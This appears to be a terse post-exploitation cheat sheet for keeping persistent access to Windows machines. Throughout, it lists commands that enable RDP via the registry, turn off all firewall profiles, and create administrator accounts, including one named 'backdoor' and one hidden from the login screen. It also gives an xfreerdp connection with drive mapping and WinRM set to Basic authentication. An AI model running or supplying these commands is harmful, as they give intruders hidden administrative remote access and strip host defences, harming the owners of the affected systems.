Persistent

Enable rdp access

enable terminal services

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f

disable firewall

netsh advfirewall set allprofiles state off

enabled rdp in one line command line

net user /add (Username) (Password) && net localgroup administrators (Username) /add & net localgroup "Remote Desktop Users" (Username) /add & netsh advfirewall firewall set rule group="remote desktop" new enable=Yes & reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v (Username) /t REG_DWORD /d 0 & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d 1 /f & sc config TermService start= auto

Add backdoor to local administrators group

net user backdoor Password1 /add
net localgroup administrators /add backdoor

xfreerdp /v:192.168.157.221 /u:backdoor /p:Password1 /dynamic-resolution /drive:linux,/opt

Adding user to Remote management users

#enable winrm 
winrm quickconfig -force
winrm set winrm/config/service/auth '@{Basic="true"}'

#add user "test" to winrm group 
net localgroup "Remote Management Users" test /add